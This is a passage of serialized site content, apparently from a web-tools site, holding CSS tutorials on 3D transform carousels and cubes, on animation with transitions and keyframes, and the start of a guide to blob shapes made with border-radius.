.face",[1560,44354,1571],{"class":1570},[1560,44356,44357,44359,44361,44363],{"class":1562,"line":2524},[1560,44358,5642],{"class":1576},[1560,44360,1663],{"class":1570},[1560,44362,5647],{"class":1576},[1560,44364,2228],{"class":1570},[1560,44366,44367,44369,44371,44373,44375],{"class":1562,"line":2529},[1560,44368,12386],{"class":1576},[1560,44370,1663],{"class":1570},[1560,44372,18101],{"class":1576},[1560,44374,1670],{"class":1669},[1560,44376,2228],{"class":1570},[1560,44378,44379,44381,44383,44385,44387],{"class":1562,"line":2534},[1560,44380,12400],{"class":1576},[1560,44382,1663],{"class":1570},[1560,44384,18101],{"class":1576},[1560,44386,1670],{"class":1669},[1560,44388,2228],{"class":1570},[1560,44390,44391],{"class":1562,"line":2542},[1560,44392,1585],{"class":1570},[1560,44394,44395],{"class":1562,"line":2558},[1560,44396,1702],{"emptyLinePlaceholder":363},[1560,44398,44399],{"class":1562,"line":2570},[1560,44400,44401],{"class":1649},"\u002F* 6-sided carousel: each face rotated 60deg apart, pushed out by Z *\u002F\n",[1560,44403,44404,44406,44409,44411,44413,44415,44417,44419,44421,44423,44425,44427,44429,44431,44433,44435,44437],{"class":1562,"line":6638},[1560,44405,44273],{"class":1566},[1560,44407,44408],{"class":1566}," .face:nth-child",[1560,44410,1688],{"class":1570},[1560,44412,3585],{"class":1576},[1560,44414,27874],{"class":1570},[1560,44416,1514],{"class":1576},[1560,44418,1663],{"class":1570},[1560,44420,1462],{"class":1576},[1560,44422,1688],{"class":1570},[1560,44424,5285],{"class":1576},[1560,44426,1694],{"class":1669},[1560,44428,1733],{"class":1570},[1560,44430,1465],{"class":1576},[1560,44432,1688],{"class":1570},[1560,44434,18101],{"class":1576},[1560,44436,1670],{"class":1669},[1560,44438,1697],{"class":1570},[1560,44440,44441,44443,44445,44447,44449,44451,44453,44455,44457,44459,44461,44463,44465,44467,44469,44471,44473],{"class":1562,"line":11615},[1560,44442,44273],{"class":1566},[1560,44444,44408],{"class":1566},[1560,44446,1688],{"class":1570},[1560,44448,10099],{"class":1576},[1560,44450,27874],{"class":1570},[1560,44452,1514],{"class":1576},[1560,44454,1663],{"class":1570},[1560,44456,1462],{"class":1576},[1560,44458,1688],{"class":1570},[1560,44460,18333],{"class":1576},[1560,44462,1694],{"class":1669},[1560,44464,1733],{"class":1570},[1560,44466,1465],{"class":1576},[1560,44468,1688],{"class":1570},[1560,44470,18101],{"class":1576},[1560,44472,1670],{"class":1669},[1560,44474,1697],{"class":1570},[1560,44476,44477,44479,44481,44483,44485,44487,44489,44491,44493,44495,44497,44499,44501,44503,44505,44507,44509],{"class":1562,"line":11621},[1560,44478,44273],{"class":1566},[1560,44480,44408],{"class":1566},[1560,44482,1688],{"class":1570},[1560,44484,17821],{"class":1576},[1560,44486,27874],{"class":1570},[1560,44488,1514],{"class":1576},[1560,44490,1663],{"class":1570},[1560,44492,1462],{"class":1576},[1560,44494,1688],{"class":1570},[1560,44496,18034],{"class":1576},[1560,44498,1694],{"class":1669},[1560,44500,1733],{"class":1570},[1560,44502,1465],{"class":1576},[1560,44504,1688],{"class":1570},[1560,44506,18101],{"class":1576},[1560,44508,1670],{"class":1669},[1560,44510,1697],{"class":1570},[1560,44512,44513,44515,44517,44519,44521,44523,44525,44527,44529,44531,44533,44535,44537,44539,44541,44543,44545],{"class":1562,"line":11633},[1560,44514,44273],{"class":1566},[1560,44516,44408],{"class":1566},[1560,44518,1688],{"class":1570},[1560,44520,12546],{"class":1576},[1560,44522,27874],{"class":1570},[1560,44524,1514],{"class":1576},[1560,44526,1663],{"class":1570},[1560,44528,1462],{"class":1576},[1560,44530,1688],{"class":1570},[1560,44532,35584],{"class":1576},[1560,44534,1694],{"class":1669},[1560,44536,1733],{"class":1570},[1560,44538,1465],{"class":1576},[1560,44540,1688],{"class":1570},[1560,44542,18101],{"class":1576},[1560,44544,1670],{"class":1669},[1560,44546,1697],{"class":1570},[1560,44548,44549,44551,44553,44555,44557,44559,44561,44563,44565,44567,44569,44571,44573,44575,44577,44579,44581],{"class":1562,"line":11638},[1560,44550,44273],{"class":1566},[1560,44552,44408],{"class":1566},[1560,44554,1688],{"class":1570},[1560,44556,13431],{"class":1576},[1560,44558,27874],{"class":1570},[1560,44560,1514],{"class":1576},[1560,44562,1663],{"class":1570},[1560,44564,1462],{"class":1576},[1560,44566,1688],{"class":1570},[1560,44568,14865],{"class":1576},[1560,44570,1694],{"class":1669},[1560,44572,1733],{"class":1570},[1560,44574,1465],{"class":1576},[1560,44576,1688],{"class":1570},[1560,44578,18101],{"class":1576},[1560,44580,1670],{"class":1669},[1560,44582,1697],{"class":1570},[1560,44584,44585,44587,44589,44591,44594,44596,44598,44600,44602,44604,44606,44608,44610,44612,44614,44616,44618],{"class":1562,"line":11672},[1560,44586,44273],{"class":1566},[1560,44588,44408],{"class":1566},[1560,44590,1688],{"class":1570},[1560,44592,44593],{"class":1576},"6",[1560,44595,27874],{"class":1570},[1560,44597,1514],{"class":1576},[1560,44599,1663],{"class":1570},[1560,44601,1462],{"class":1576},[1560,44603,1688],{"class":1570},[1560,44605,44009],{"class":1576},[1560,44607,1694],{"class":1669},[1560,44609,1733],{"class":1570},[1560,44611,1465],{"class":1576},[1560,44613,1688],{"class":1570},[1560,44615,18101],{"class":1576},[1560,44617,1670],{"class":1669},[1560,44619,1697],{"class":1570},[1560,44621,44622],{"class":1562,"line":19435},[1560,44623,1702],{"emptyLinePlaceholder":363},[1560,44625,44626,44628,44631],{"class":1562,"line":19442},[1560,44627,19946],{"class":1669},[1560,44629,44630],{"class":2219}," spin",[1560,44632,1571],{"class":1570},[1560,44634,44635,44638,44640,44642,44644,44646,44648,44651,44653],{"class":1562,"line":19475},[1560,44636,44637],{"class":1566},"  to",[1560,44639,1658],{"class":1570},[1560,44641,1514],{"class":1576},[1560,44643,1663],{"class":1570},[1560,44645,1462],{"class":1576},[1560,44647,1688],{"class":1570},[1560,44649,44650],{"class":1576},"360",[1560,44652,1694],{"class":1669},[1560,44654,1697],{"class":1570},[1560,44656,44657],{"class":1562,"line":19508},[1560,44658,1585],{"class":1570},[16,44660,421,44661,44663,44664,44667],{},[143,44662,1465],{}," value determines the carousel radius. For N faces, each rotates by ",[143,44665,44666],{},"360\u002FN"," degrees.",[11,44669,44671],{"id":44670},"_3d-cube","3D Cube",[16,44673,44674,44675,8037],{},"A cube is a carousel with top and bottom faces added via ",[143,44676,1458],{},[135,44678,44680],{"className":1554,"code":44679,"language":1556,"meta":141,"style":141},".cube .front  { transform: translateZ(100px); }\n.cube .back   { transform: rotateY(180deg) translateZ(100px); }\n.cube .right  { transform: rotateY(90deg) translateZ(100px); }\n.cube .left   { transform: rotateY(-90deg) translateZ(100px); }\n.cube .top    { transform: rotateX(90deg) translateZ(100px); }\n.cube .bottom { transform: rotateX(-90deg) translateZ(100px); }\n",[143,44681,44682,44706,44739,44772,44806,44840],{"__ignoreMap":141},[1560,44683,44684,44687,44690,44692,44694,44696,44698,44700,44702,44704],{"class":1562,"line":1563},[1560,44685,44686],{"class":1566},".cube",[1560,44688,44689],{"class":1566}," .front",[1560,44691,36449],{"class":1570},[1560,44693,1514],{"class":1576},[1560,44695,1663],{"class":1570},[1560,44697,1465],{"class":1576},[1560,44699,1688],{"class":1570},[1560,44701,18114],{"class":1576},[1560,44703,1670],{"class":1669},[1560,44705,1697],{"class":1570},[1560,44707,44708,44710,44713,44715,44717,44719,44721,44723,44725,44727,44729,44731,44733,44735,44737],{"class":1562,"line":337},[1560,44709,44686],{"class":1566},[1560,44711,44712],{"class":1566}," .back",[1560,44714,16964],{"class":1570},[1560,44716,1514],{"class":1576},[1560,44718,1663],{"class":1570},[1560,44720,1462],{"class":1576},[1560,44722,1688],{"class":1570},[1560,44724,35584],{"class":1576},[1560,44726,1694],{"class":1669},[1560,44728,1733],{"class":1570},[1560,44730,1465],{"class":1576},[1560,44732,1688],{"class":1570},[1560,44734,18114],{"class":1576},[1560,44736,1670],{"class":1669},[1560,44738,1697],{"class":1570},[1560,44740,44741,44743,44746,44748,44750,44752,44754,44756,44758,44760,44762,44764,44766,44768,44770],{"class":1562,"line":343},[1560,44742,44686],{"class":1566},[1560,44744,44745],{"class":1566}," .right",[1560,44747,36449],{"class":1570},[1560,44749,1514],{"class":1576},[1560,44751,1663],{"class":1570},[1560,44753,1462],{"class":1576},[1560,44755,1688],{"class":1570},[1560,44757,24004],{"class":1576},[1560,44759,1694],{"class":1669},[1560,44761,1733],{"class":1570},[1560,44763,1465],{"class":1576},[1560,44765,1688],{"class":1570},[1560,44767,18114],{"class":1576},[1560,44769,1670],{"class":1669},[1560,44771,1697],{"class":1570},[1560,44773,44774,44776,44779,44781,44783,44785,44787,44789,44792,44794,44796,44798,44800,44802,44804],{"class":1562,"line":365},[1560,44775,44686],{"class":1566},[1560,44777,44778],{"class":1566}," .left",[1560,44780,16964],{"class":1570},[1560,44782,1514],{"class":1576},[1560,44784,1663],{"class":1570},[1560,44786,1462],{"class":1576},[1560,44788,1688],{"class":1570},[1560,44790,44791],{"class":1576},"-90",[1560,44793,1694],{"class":1669},[1560,44795,1733],{"class":1570},[1560,44797,1465],{"class":1576},[1560,44799,1688],{"class":1570},[1560,44801,18114],{"class":1576},[1560,44803,1670],{"class":1669},[1560,44805,1697],{"class":1570},[1560,44807,44808,44810,44813,44816,44818,44820,44822,44824,44826,44828,44830,44832,44834,44836,44838],{"class":1562,"line":889},[1560,44809,44686],{"class":1566},[1560,44811,44812],{"class":1566}," .top",[1560,44814,44815],{"class":1570},"    { ",[1560,44817,1514],{"class":1576},[1560,44819,1663],{"class":1570},[1560,44821,1458],{"class":1576},[1560,44823,1688],{"class":1570},[1560,44825,24004],{"class":1576},[1560,44827,1694],{"class":1669},[1560,44829,1733],{"class":1570},[1560,44831,1465],{"class":1576},[1560,44833,1688],{"class":1570},[1560,44835,18114],{"class":1576},[1560,44837,1670],{"class":1669},[1560,44839,1697],{"class":1570},[1560,44841,44842,44844,44847,44849,44851,44853,44855,44857,44859,44861,44863,44865,44867,44869,44871],{"class":1562,"line":1710},[1560,44843,44686],{"class":1566},[1560,44845,44846],{"class":1566}," .bottom",[1560,44848,1658],{"class":1570},[1560,44850,1514],{"class":1576},[1560,44852,1663],{"class":1570},[1560,44854,1458],{"class":1576},[1560,44856,1688],{"class":1570},[1560,44858,44791],{"class":1576},[1560,44860,1694],{"class":1669},[1560,44862,1733],{"class":1570},[1560,44864,1465],{"class":1576},[1560,44866,1688],{"class":1570},[1560,44868,18114],{"class":1576},[1560,44870,1670],{"class":1669},[1560,44872,1697],{"class":1570},[16,44874,421,44875,44877,44878,44881],{},[143,44876,1465],{}," value should equal half the cube's side length — ",[143,44879,44880],{},"100px"," for a 200×200×200 cube.",[11,44883,10393],{"id":10392},[41,44885,44886,44894,44909],{},[44,44887,44888,44893],{},[47,44889,44890,44891],{},"Missing ",[143,44892,44234],{}," — without it, child elements are flattened into the parent's 2D plane and Z-axis transforms disappear.",[44,44895,44896,44902,44903,44905,44906,44908],{},[47,44897,44898,44901],{},[143,44899,44900],{},"overflow: hidden"," breaks 3D"," — setting ",[143,44904,44900],{}," on a 3D-transformed element flattens its children. Use ",[143,44907,35456],{}," instead if you need to clip.",[44,44910,44911,44916],{},[47,44912,44913,44915],{},[143,44914,43976],{}," on the wrong element"," — it belongs on each face, not the container.",[11,44918,1355],{"id":1354},[41,44920,44921,44924,44929,44934,44942,44950],{},[44,44922,44923],{},"3D transforms add a Z axis for positioning, rotating, and scaling in depth.",[44,44925,44926,44928],{},[143,44927,1469],{}," on a parent creates the illusion of depth; lower values are more dramatic.",[44,44930,44931,44933],{},[143,44932,44234],{}," keeps children in 3D space — without it, everything flattens.",[44,44935,44936,44937,12674,44939,44941],{},"Card flips combine ",[143,44938,1462],{},[143,44940,1540],{}," on each face.",[44,44943,44944,44945,1856,44948,468],{},"Carousels and cubes distribute faces evenly using ",[143,44946,44947],{},"rotateY\u002FN",[143,44949,1465],{},[44,44951,44952,44954,44955,44957],{},[143,44953,44900],{}," destroys 3D rendering — use ",[143,44956,35456],{}," for clipping instead.",[11,44959,286],{"id":285},[16,44961,44962,44963,468],{},"Build 3D transform effects visually with the ",[98,44964,2018],{"href":2017},[2043,44966,44967],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":44969},[44970,44971,44974,44975,44976,44977,44978,44979,44980],{"id":43666,"depth":337,"text":43667},{"id":43682,"depth":337,"text":43683,"children":44972},[44973],{"id":43765,"depth":343,"text":43765},{"id":43824,"depth":337,"text":43825},{"id":43967,"depth":337,"text":43968},{"id":44255,"depth":337,"text":44256},{"id":44670,"depth":337,"text":44671},{"id":10392,"depth":337,"text":10393},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Build card flips, carousels, and 3D cubes using CSS perspective and transform3d properties.",{"immutable":363},"\u002Fguides\u002Fcss-3d-transforms-guide",{"title":43661,"description":44981},"guides\u002Fcss-3d-transforms-guide","gZMC9k4PcWu8dKbU2NJcYVy4iISoW3JvAhpTK59bZuU",{"id":44988,"title":2035,"body":44989,"date":2070,"description":45522,"extension":361,"meta":45523,"navigation":363,"path":2034,"readingTime":889,"seo":45524,"stem":45525,"__hash__":45526},"guides\u002Fguides\u002Fcss-animation-tools.md",{"type":8,"value":44990,"toc":45507},[44991,44995,45001,45010,45014,45078,45082,45090,45160,45163,45167,45172,45262,45265,45269,45273,45293,45297,45303,45307,45310,45370,45374,45377,45397,45400,45404,45470,45472,45475,45492,45494,45504],[11,44992,44994],{"id":44993},"css-animations-start-with-transforms","CSS Animations Start with Transforms",[16,44996,44997,44998,45000],{},"Every CSS animation relies on one fundamental building block: the ",[143,44999,1514],{}," property. Transforms let you rotate, scale, translate, and skew elements without affecting the document flow.",[16,45002,45003,45004,1531,45007,45009],{},"When you combine a transform with a ",[143,45005,45006],{},"transition",[143,45008,19946],{}," animation, you get smooth, GPU-accelerated motion that performs well across devices.",[11,45011,45013],{"id":45012},"the-animation-stack","The Animation Stack",[193,45015,45016,45027],{},[196,45017,45018],{},[199,45019,45020,45023,45025],{},[202,45021,45022],{},"Layer",[202,45024,14482],{},[202,45026,2758],{},[211,45028,45029,45041,45053,45065],{},[199,45030,45031,45034,45038],{},[216,45032,45033],{},"Foundation",[216,45035,45036],{},[143,45037,1514],{},[216,45039,45040],{},"Define what moves (rotate, scale, translate, skew)",[199,45042,45043,45046,45050],{},[216,45044,45045],{},"Timing",[216,45047,45048],{},[143,45049,45006],{},[216,45051,45052],{},"Smooth change on state change (hover, focus)",[199,45054,45055,45058,45062],{},[216,45056,45057],{},"Sequence",[216,45059,45060],{},[143,45061,19946],{},[216,45063,45064],{},"Multi-step animation sequences",[199,45066,45067,45070,45075],{},[216,45068,45069],{},"Control",[216,45071,45072],{},[143,45073,45074],{},"animation",[216,45076,45077],{},"Duration, delay, iteration, direction, fill",[11,45079,45081],{"id":45080},"transform-transition-simple-animation","Transform + Transition = Simple Animation",[16,45083,45084,45085,45087,45088,8037],{},"The simplest CSS animation pairs a ",[143,45086,1514],{}," with a ",[143,45089,45006],{},[135,45091,45093],{"className":1554,"code":45092,"language":1556,"meta":141,"style":141},".card {\n  transition: transform 0.3s ease;\n}\n\n.card:hover {\n  transform: scale(1.05) translateY(-4px);\n}\n",[143,45094,45095,45101,45115,45119,45123,45129,45156],{"__ignoreMap":141},[1560,45096,45097,45099],{"class":1562,"line":1563},[1560,45098,1567],{"class":1566},[1560,45100,1571],{"class":1570},[1560,45102,45103,45105,45107,45109,45111,45113],{"class":1562,"line":337},[1560,45104,18718],{"class":1576},[1560,45106,19594],{"class":1570},[1560,45108,18724],{"class":1576},[1560,45110,18727],{"class":1669},[1560,45112,18730],{"class":1576},[1560,45114,2228],{"class":1570},[1560,45116,45117],{"class":1562,"line":343},[1560,45118,1585],{"class":1570},[1560,45120,45121],{"class":1562,"line":365},[1560,45122,1702],{"emptyLinePlaceholder":363},[1560,45124,45125,45127],{"class":1562,"line":889},[1560,45126,18745],{"class":1566},[1560,45128,1571],{"class":1570},[1560,45130,45131,45133,45135,45138,45140,45143,45145,45147,45149,45152,45154],{"class":1562,"line":1710},[1560,45132,1720],{"class":1576},[1560,45134,1663],{"class":1570},[1560,45136,45137],{"class":1576},"scale",[1560,45139,1688],{"class":1570},[1560,45141,45142],{"class":1576},"1.05",[1560,45144,1733],{"class":1570},[1560,45146,18845],{"class":1576},[1560,45148,1688],{"class":1570},[1560,45150,45151],{"class":1576},"-4",[1560,45153,1670],{"class":1669},[1560,45155,1744],{"class":1570},[1560,45157,45158],{"class":1562,"line":1717},[1560,45159,1585],{"class":1570},[16,45161,45162],{},"This pattern handles most hover effects, button interactions, and micro-animations.",[11,45164,45166],{"id":45165},"keyframes-for-complex-sequences","Keyframes for Complex Sequences",[16,45168,45169,45170,8037],{},"When you need multiple steps or continuous animation, use ",[143,45171,19946],{},[135,45173,45175],{"className":1554,"code":45174,"language":1556,"meta":141,"style":141},"@keyframes pulse {\n  0%, 100% { transform: scale(1); }\n  50% { transform: scale(1.08); }\n}\n\n.element {\n  animation: pulse 2s ease-in-out infinite;\n}\n",[143,45176,45177,45186,45208,45227,45231,45235,45241,45258],{"__ignoreMap":141},[1560,45178,45179,45181,45184],{"class":1562,"line":1563},[1560,45180,19946],{"class":1669},[1560,45182,45183],{"class":2219}," pulse",[1560,45185,1571],{"class":1570},[1560,45187,45188,45190,45192,45194,45196,45198,45200,45202,45204,45206],{"class":1562,"line":337},[1560,45189,19965],{"class":1566},[1560,45191,1459],{"class":1570},[1560,45193,19970],{"class":1566},[1560,45195,1658],{"class":1570},[1560,45197,1514],{"class":1576},[1560,45199,1663],{"class":1570},[1560,45201,45137],{"class":1576},[1560,45203,1688],{"class":1570},[1560,45205,3585],{"class":1576},[1560,45207,1697],{"class":1570},[1560,45209,45210,45212,45214,45216,45218,45220,45222,45225],{"class":1562,"line":343},[1560,45211,20020],{"class":1566},[1560,45213,1658],{"class":1570},[1560,45215,1514],{"class":1576},[1560,45217,1663],{"class":1570},[1560,45219,45137],{"class":1576},[1560,45221,1688],{"class":1570},[1560,45223,45224],{"class":1576},"1.08",[1560,45226,1697],{"class":1570},[1560,45228,45229],{"class":1562,"line":365},[1560,45230,1585],{"class":1570},[1560,45232,45233],{"class":1562,"line":889},[1560,45234,1702],{"emptyLinePlaceholder":363},[1560,45236,45237,45239],{"class":1562,"line":1710},[1560,45238,30399],{"class":1566},[1560,45240,1571],{"class":1570},[1560,45242,45243,45245,45248,45250,45252,45254,45256],{"class":1562,"line":1717},[1560,45244,20083],{"class":1576},[1560,45246,45247],{"class":1570},": pulse ",[1560,45249,10099],{"class":1576},[1560,45251,18727],{"class":1669},[1560,45253,20093],{"class":1576},[1560,45255,20096],{"class":1576},[1560,45257,2228],{"class":1570},[1560,45259,45260],{"class":1562,"line":1747},[1560,45261,1585],{"class":1570},[16,45263,45264],{},"Keyframes give you precise control over timing, intermediate states, and looping behavior.",[11,45266,45268],{"id":45267},"performance-tips","Performance Tips",[33,45270,45272],{"id":45271},"use-transform-and-opacity","Use Transform and Opacity",[16,45274,45275,45276,1856,45278,45280,45281,1459,45283,1459,45285,1459,45288,1877,45291,468],{},"Only ",[143,45277,1514],{},[143,45279,1891],{}," are cheap to animate. They avoid layout recalculation and paint. Avoid animating ",[143,45282,1870],{},[143,45284,1873],{},[143,45286,45287],{},"top",[143,45289,45290],{},"left",[143,45292,1876],{},[33,45294,45296],{"id":45295},"will-change-tells-the-browser-to-prepare","will-change Tells the Browser to Prepare",[16,45298,45299,45300,45302],{},"For animations that start after a delay, add ",[143,45301,1530],{}," to hint the browser to create a compositing layer early. Remove it after the animation ends to free memory.",[33,45304,45306],{"id":45305},"reduce-motion-for-accessibility","Reduce Motion for Accessibility",[16,45308,45309],{},"Always respect the user's motion preferences:",[135,45311,45313],{"className":1554,"code":45312,"language":1556,"meta":141,"style":141},"@media (prefers-reduced-motion: reduce) {\n  * {\n    animation-duration: 0.01ms !important;\n    transition-duration: 0.01ms !important;\n  }\n}\n",[143,45314,45315,45322,45329,45347,45362,45366],{"__ignoreMap":141},[1560,45316,45317,45319],{"class":1562,"line":1563},[1560,45318,17186],{"class":1669},[1560,45320,45321],{"class":1570}," (prefers-reduced-motion: reduce) {\n",[1560,45323,45324,45327],{"class":1562,"line":337},[1560,45325,45326],{"class":2484},"  *",[1560,45328,1571],{"class":1570},[1560,45330,45331,45334,45336,45339,45342,45345],{"class":1562,"line":343},[1560,45332,45333],{"class":1576},"    animation-duration",[1560,45335,1663],{"class":1570},[1560,45337,45338],{"class":1576},"0.01",[1560,45340,45341],{"class":1669},"ms",[1560,45343,45344],{"class":1669}," !important",[1560,45346,2228],{"class":1570},[1560,45348,45349,45352,45354,45356,45358,45360],{"class":1562,"line":365},[1560,45350,45351],{"class":1576},"    transition-duration",[1560,45353,1663],{"class":1570},[1560,45355,45338],{"class":1576},[1560,45357,45341],{"class":1669},[1560,45359,45344],{"class":1669},[1560,45361,2228],{"class":1570},[1560,45363,45364],{"class":1562,"line":889},[1560,45365,4959],{"class":1570},[1560,45367,45368],{"class":1562,"line":1710},[1560,45369,1585],{"class":1570},[11,45371,45373],{"id":45372},"css-animation-generators","CSS Animation Generators",[16,45375,45376],{},"Writing animation keyframes by hand is tedious. Online generators help you:",[41,45378,45379,45385,45391],{},[44,45380,45381,45384],{},[47,45382,45383],{},"CSS Transform Generator"," — Visually set rotate, scale, translate, skew, and 3D transforms, then copy the CSS",[44,45386,45387,45390],{},[47,45388,45389],{},"Gradient Generator"," — Build animated gradient backgrounds",[44,45392,45393,45396],{},[47,45394,45395],{},"Box Shadow Generator"," — Create layered shadow effects with transitions",[16,45398,45399],{},"These tools output production-ready CSS without manual calculation.",[11,45401,45403],{"id":45402},"common-animation-patterns","Common Animation Patterns",[193,45405,45406,45415],{},[196,45407,45408],{},[199,45409,45410,45412],{},[202,45411,18376],{},[202,45413,45414],{},"CSS Approach",[211,45416,45417,45428,45438,45448,45459],{},[199,45418,45419,45422],{},[216,45420,45421],{},"Hover lift",[216,45423,45424,45427],{},[143,45425,45426],{},"transform: translateY(-4px)"," + transition",[199,45429,45430,45433],{},[216,45431,45432],{},"Pulse",[216,45434,45435,45437],{},[143,45436,19946],{}," scaling between 1 and 1.08",[199,45439,45440,45443],{},[216,45441,45442],{},"Spin",[216,45444,45445,45447],{},[143,45446,19946],{}," rotating from 0deg to 360deg",[199,45449,45450,45453],{},[216,45451,45452],{},"Fade in",[216,45454,45455,45456,45458],{},"Transition ",[143,45457,1891],{}," from 0 to 1",[199,45460,45461,45464],{},[216,45462,45463],{},"Slide in",[216,45465,45455,45466,45469],{},[143,45467,45468],{},"transform: translateX()"," from off-screen",[11,45471,286],{"id":285},[16,45473,45474],{},"Use the CSS Transform Generator to build transform values visually and copy the CSS code for your animations.",[41,45476,45477,45482,45487],{},[44,45478,45479,45481],{},[98,45480,45383],{"href":2017}," — Build transforms visually",[44,45483,45484,45486],{},[98,45485,18583],{"href":18582}," — Create gradient backgrounds",[44,45488,45489,45491],{},[98,45490,20279],{"href":20278}," — Design shadow effects",[11,45493,321],{"id":320},[41,45495,45496,45500],{},[44,45497,45498],{},[98,45499,2029],{"href":2028},[44,45501,45502],{},[98,45503,2041],{"href":2040},[2043,45505,45506],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":45508},[45509,45510,45511,45512,45513,45518,45519,45520,45521],{"id":44993,"depth":337,"text":44994},{"id":45012,"depth":337,"text":45013},{"id":45080,"depth":337,"text":45081},{"id":45165,"depth":337,"text":45166},{"id":45267,"depth":337,"text":45268,"children":45514},[45515,45516,45517],{"id":45271,"depth":343,"text":45272},{"id":45295,"depth":343,"text":45296},{"id":45305,"depth":343,"text":45306},{"id":45372,"depth":337,"text":45373},{"id":45402,"depth":337,"text":45403},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Essential CSS tools for creating smooth animations — transforms, transitions, keyframes, and generators that save time.",{"immutable":363},{"title":2035,"description":45522},"guides\u002Fcss-animation-tools","8ebNeEmbx73mIOAI87NXZVgIC2U3REUqwJKOOT2u8HQ",{"id":45528,"title":45529,"body":45530,"date":2070,"description":47338,"extension":361,"meta":47339,"navigation":363,"path":47340,"readingTime":1710,"seo":47341,"stem":47342,"__hash__":47343},"guides\u002Fguides\u002Fcss-blob-shapes.md","CSS Blob Shapes with Border Radius",{"type":8,"value":45531,"toc":47315},[45532,45536,45541,45547,45549,45560,45617,45620,45623,45627,45680,45748,45752,45756,45849,45853,45947,45951,46045,46049,46145,46148,46152,46158,46396,46400,46406,46584,46588,46592,46706,46710,46808,46812,46978,46982,46985,47119,47122,47285,47287,47301,47303,47306,47312],[11,45533,45535],{"id":45534},"what-are-css-blobs","What Are CSS Blobs?",[16,45537,45538,45539,468],{},"Blobs are organic, amorphous shapes that break away from the rigid rectangles of traditional web layouts. They add visual softness and movement to backgrounds, hero sections, and decorative elements. Think lava lamp blobs, ink drops, or melting shapes — all created purely with CSS ",[143,45540,16947],{},[16,45542,45543,45544,45546],{},"The secret to blob shapes lies in the eight-value syntax of ",[143,45545,16947],{},", which lets you control each corner's horizontal and vertical radius independently.",[11,45548,35466],{"id":35465},[16,45550,45551,45552,45555,45556,45559],{},"Most developers know the shorthand ",[143,45553,45554],{},"border-radius: 10px"," (all corners) or ",[143,45557,45558],{},"border-radius: 10px 20px 10px 20px"," (one value per corner). But the full syntax uses a slash to separate horizontal from vertical radii:",[135,45561,45563],{"className":1554,"code":45562,"language":1556,"meta":141,"style":141},".blob {\n  border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%;\n}\n",[143,45564,45565,45571,45613],{"__ignoreMap":141},[1560,45566,45567,45569],{"class":1562,"line":1563},[1560,45568,35715],{"class":1566},[1560,45570,1571],{"class":1570},[1560,45572,45573,45575,45577,45579,45581,45583,45585,45587,45589,45591,45593,45595,45597,45599,45601,45603,45605,45607,45609,45611],{"class":1562,"line":337},[1560,45574,17294],{"class":1576},[1560,45576,1663],{"class":1570},[1560,45578,18333],{"class":1576},[1560,45580,17990],{"class":1669},[1560,45582,18343],{"class":1576},[1560,45584,17990],{"class":1669},[1560,45586,35504],{"class":1576},[1560,45588,17990],{"class":1669},[1560,45590,35515],{"class":1576},[1560,45592,17990],{"class":1669},[1560,45594,14237],{"class":1570},[1560,45596,18333],{"class":1576},[1560,45598,17990],{"class":1669},[1560,45600,35504],{"class":1576},[1560,45602,17990],{"class":1669},[1560,45604,35515],{"class":1576},[1560,45606,17990],{"class":1669},[1560,45608,18343],{"class":1576},[1560,45610,17990],{"class":1669},[1560,45612,2228],{"class":1570},[1560,45614,45615],{"class":1562,"line":343},[1560,45616,1585],{"class":1570},[16,45618,45619],{},"The values before the slash set horizontal radii for top-left, top-right, bottom-right, and bottom-left. The values after the slash set the vertical radii for the same corners.",[16,45621,45622],{},"When horizontal and vertical radii differ at the same corner, the browser draws an elliptical arc 